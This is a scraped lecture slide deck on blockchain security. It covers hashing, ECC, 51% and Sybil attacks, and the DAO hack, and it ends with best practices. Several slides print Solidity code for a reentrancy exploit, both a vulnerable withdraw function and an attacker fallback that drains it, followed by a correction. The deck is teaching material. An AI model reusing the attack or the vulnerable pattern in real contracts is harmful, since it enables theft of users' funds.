Security in the blockchain
8 likes3,703 views
The document discusses blockchain security. It begins by defining what a blockchain is - a shared digital ledger that records transactions in a decentralized peer-to-peer network. It then discusses several key aspects of blockchain security including cryptography techniques like SHA-256 that secure the data, the computational power of the network that acts as a deterrent to attacks, and vulnerabilities like smart contract bugs that still need to be addressed. Overall the document conveys that blockchain security is strong due to its design but also that more work is needed to develop tools and best practices as the technology continues to evolve.
![function splitDAO(...
...
withdrawRewardFor(msg.sender); // be nice, and get his rewards
totalSupply -= balances[msg.sender];
balances[msg.sender] = 0;
paidOut[msg.sender] = 0;
return true;
}
The Heist
the attacker managed to drain
more than 3.6 million Ether
into a “child DAO” that has the
same structure as The DAO](https://image.slidesharecdn.com/ensias-170509181122/85/Security-in-the-blockchain-24-320.jpg)
![On 17th of June an attacker tried to rob ~3.5M ETH using the reentry exploit
// THIS CONTRACT CONTAINS A BUG - DO NOT USE contract Recipient {
contract Fund { uint counter;
/// Mapping of ether shares of the contract. function() {
mapping(address => uint) shares; if (counter < 10) {
/// Withdraw your share. Fund(msg.sender).withdraw();
function withdraw() { counter+=1;
if (msg.sender.call.value(shares[msg.sender])())
}
shares[msg.sender] = 0;
}
}
}
}
The attack (quite simple)](https://image.slidesharecdn.com/ensias-170509181122/85/Security-in-the-blockchain-25-320.jpg)
![function getBalance(address user)
constant returns(uint) {
return userBalances[user];
}
function addToBalance() {
userBalances[msg.sender] +=
msg.amount;
}
function withdrawBalance() {
amountToWithdraw =
userBalances[msg.sender];
if
(!(msg.sender.call.value(amountToWith
draw)())) { throw; }
userBalances[msg.sender] = 0;
}
function () {
// To be called by a vulnerable
contract with a withdraw function.
// This will double withdraw.
vulnerableContract v;
uint times;
if (times == 0 && attackModeIsOn) {
times = 1;
v.withdrawBalance ();
} else { times = 0; }
}
vulnerableContract.withdraw run 1
attacker default function run 1
vulnerableContract.withdraw run 2
attacker default function run 2
reentry exploit](https://image.slidesharecdn.com/ensias-170509181122/85/Security-in-the-blockchain-26-320.jpg)
![function withdrawBalance() {
amountToWithdraw =
userBalances[msg.sender];
userBalances[msg.sender] = 0;
if (amountToWithdraw > 0) {
if
(!(msg.sender.send(amountToWithdraw
))) { throw; }
}
}
Correction](https://image.slidesharecdn.com/ensias-170509181122/85/Security-in-the-blockchain-27-320.jpg)
Security in the blockchain
- 2. S WHAT IS THE BLOCKCHAIN? • A blockchain is a tamper-proof, shared digital ledger that records transactions(history) that take place between the peers in a peer- to-peer network. • All the confirmed and validated transaction blocks are linked and chained from the beginning of the chain to the most current block, hence the name blockchain. BLOCK CHAIN
- 3. SHA256(SHA256(80byte header of block k)). data's integrity. WHAT IS THE BLOCKCHAIN?
- 4. WHAT IS THE BLOCKCHAIN? NO SPOF
- 5. In the Context of protocol stack, cryptocurrency is a blockchain service 5 • THE DIGITALCURRENCY • CONSENSUS PROTOCOL • TRANSACTIONPROTOCOL • THE LEDGER : SHARED DATA LAYER • GMAIL • SMTP – SIMPLE MAIL TRANSFER PROTOCOL • TCP/IP – TRANSMISSION CONTROL PROTOCOL/INTERNET PROTOCOL Application Layer Application Protocol Layer General Protocol Layer HOW IT WORKS? STACK VUE (Blockchain System): Security layer
- 6. FEATURES DECENTRALIZED CONSENSUS Ensure Consensus within a decentralized Network. TRANSPARENCE & ANONYMITY DATA is available to the participants. Users are anonymous IMMUTABILITY Data is stored for ever in the blockchain and can’t be altered *The genesis blockchain WHAT IS THE BLOCKCHAIN?
- 7. Blockchain is BFT. POW : Byzantine general problem resolution.
- 8. Blockchain is Secure by design Cryptography + Computationalshield SHA256(Pow, address), RIPEMD-160(address), ECDSA Variant of DSA that ECC(1992 by Vanstone) . secp256k1,from SECG (the "Standards for Efficient Cryptography Group", founded by Certicom)
- 9. Benefits Of ECC : • Smaller key size provides • Storage efficiencies • Bandwidth savings • Computational efficiencies • Relatively newer field Security Level “256-bit ECC public key should provide comparable security to a 3072-bit RSA public key”
- 11. 51% Attack The probabilityof a transaction being reversed decreases exponentiallywith the number of confirmationsit has received. Computationalshield for an attacker to be able to successfully interfere with the Bitcoin network and block and reverse transactions
- 12. Bitcoin uses SHA- 256 encryption for both its Proof- of-Work (PoW) system and transaction verification 3 ExaHash/S !!! Computationalshield
- 13. The computing power of the Bitcoin network is 7468 times higher than the one of the cumulative 500 world supercomputers. X7500 Computationalshield
- 14. An Antminer S9 runs at 0.1 Joule per GH (109 hashes) 1026 hashes * 0.1 J / 109 hashes = 1015 joules 1015 joules = 2,777,777,778 kw hours * $0.10 kw/hour = $277,777,778 worth of electricity to rewrite the entire blockchain $3,028 worth of electricity per block Computationalshield
- 15. Sybil Attack (resistance) Because the bitcoinprotocol considers the true chain to be the one with the most cumulative proof of work (not the longest chain as is often incorrectly stated,) it’s not possible for someone to launch an attack against a node by creating many dishonest peers Computationalshield
- 16. Bitcoin Code Bugs most real Blockchain vulnerabilities do not stem from a weakness in the underlying hardness assumption, but rather from implementation issues
- 17. Computationalshield Human Factor Zerocoin bug in the code allowedthe attacker to reuse his existing validproofs to generate additional Zerocoinspend transactions(370,000 Zcoins=> 410 BTC).
- 18. Smart Contract Security ETHEREUM BLOCKCHAIN
- 19. Code Issue Leads to $60M Theft DAO Hack
- 20. DAO Decentralized Autonomous Organization (DAO) Organization without CA => No CEO => Smart contract Decentralized fund manager
- 21. SMART CONTRACT • “A smart contract is a program that runs on the blockchain • and has its correct execution enforced by the consensus protocol” • They enable trustless financial services like loans, micropayments, and more. • Get rid of intermediariesand thirdparties
- 22. SMART CONTRACT
- 23. DAO The DAO was the largest crowdfunding in history, having raised over $150m from more than 11,000 enthusiastic members. The DAO has lost 3.6m ether 1ether =17(60M) $ today =80(288M)
- 24. function splitDAO(... ... withdrawRewardFor(msg.sender); // be nice, and get his rewards totalSupply -= balances[msg.sender]; balances[msg.sender] = 0; paidOut[msg.sender] = 0; return true; } The Heist the attacker managed to drain more than 3.6 million Ether into a “child DAO” that has the same structure as The DAO
- 25. On 17th of June an attacker tried to rob ~3.5M ETH using the reentry exploit // THIS CONTRACT CONTAINS A BUG - DO NOT USE contract Recipient { contract Fund { uint counter; /// Mapping of ether shares of the contract. function() { mapping(address => uint) shares; if (counter < 10) { /// Withdraw your share. Fund(msg.sender).withdraw(); function withdraw() { counter+=1; if (msg.sender.call.value(shares[msg.sender])()) } shares[msg.sender] = 0; } } } } The attack (quite simple)
- 26. function getBalance(address user) constant returns(uint) { return userBalances[user]; } function addToBalance() { userBalances[msg.sender] += msg.amount; } function withdrawBalance() { amountToWithdraw = userBalances[msg.sender]; if (!(msg.sender.call.value(amountToWith draw)())) { throw; } userBalances[msg.sender] = 0; } function () { // To be called by a vulnerable contract with a withdraw function. // This will double withdraw. vulnerableContract v; uint times; if (times == 0 && attackModeIsOn) { times = 1; v.withdrawBalance (); } else { times = 0; } } vulnerableContract.withdraw run 1 attacker default function run 1 vulnerableContract.withdraw run 2 attacker default function run 2 reentry exploit
- 27. function withdrawBalance() { amountToWithdraw = userBalances[msg.sender]; userBalances[msg.sender] = 0; if (amountToWithdraw > 0) { if (!(msg.sender.send(amountToWithdraw ))) { throw; } } } Correction
- 28. Blockchain DDOS
- 29. • Sandboxing • Repricing the opcodes. • VM rearchitecting Fight against DDOS A transaction or smart contract execution takes too long
- 31. ● It’s early days - we lack experience: ○ Solidity version 0.4.11 ○ Mist version 0.8.9 ○ Geth version 1.6.1 ○ Frontier has been launched ~ 2 year ago ○ Number of operating Dapps still very low ● Vitalik suggested 10M$ as cap in foundation blog Cap contracts
- 32. Mathematically proof that a contract has a certain feature or invariant http://dr-y.no-ip.net/ Formal proof verification formal verificationis the act of proving or disproving the correctness of intended algorithmsunderlying a system with respect to a certain formal specificationor property, using formal methods of mathematics.
- 33. ● Stake Vote (X% of all Ether) Going stepwise from centralization to decentralization ● Ethereum: Olympic - Frontier (canaries) - Homestead (difficulty increase) - Metropolis … ● DAO: Curators (except of “splitDAO”) ● DigixDAO, MakerDAO Who could control it: ● token holders (The DAO) ● central trusted authority (DigixDAO) ● “Community multisig” ? Centralization
- 34. DAO: ● 7 Days for splitDAO proposals ● 14 Days for regular proposals ● 27 days creation period ● … Gives time for a central authority (if implemented in the contract) to act Time Delays
- 35. Statistics: ~15-50 bugs per 1000 lines of code Not everything needs decentralization and needs to be in the smart contract ● Only include in a smart contract the very core of a Dapp ● Reuse trusted proven code ○ Standard Token Contract ○ Foundation multisig ○ (Hopefully one day a DAO standard framework) Minimal complexity
- 36. Statistics: ~15-50 bugs per 1000 lines of code Not everything needs decentralization and needs to be in the smart contract ● Only include in a smart contract the very core of a Dapp Source: https://eprint.iacr.org/2016/633.pdf Code security flaws
- 37. ● Formal proof verification (work in progress) ● Compiler warnings (work in progress) ● Improved IDEs (work in progress) ● Trusted Libraries (work in progress) ● Best practices literature (work in progress) ● Decentralized master keys / Decentralized escape hatches / trusted community multisig to be used in smart contracts as centralized authorities Better tools
- 38. Best practices
- 39. http://solidity.readthedocs.io/en/latest/security-considerations.html ● 1024 call stack depth -> always check return values of each call ● Block gas limit -> No arbitrary length loops ● Reentry exploit -> update state before executing CALLs ● Ether sent to contract without contract invocation -> be careful with Invariants ● Specify right amount of gas (SEND vs CALL) ● Block timestamp can be manipulated -> block.number are safer ● Tx.orgin vs msg.sender (pishing attacks) ● … Literature: https://github.com/ConsenSys/smart-contract-best-practices Establish security patterns
- 40. It’s early days, like the internet in 90s Conclusion https://arxiv.org/pdf/1605.09193.pdf Bitcoin’sSecurity Model Revisited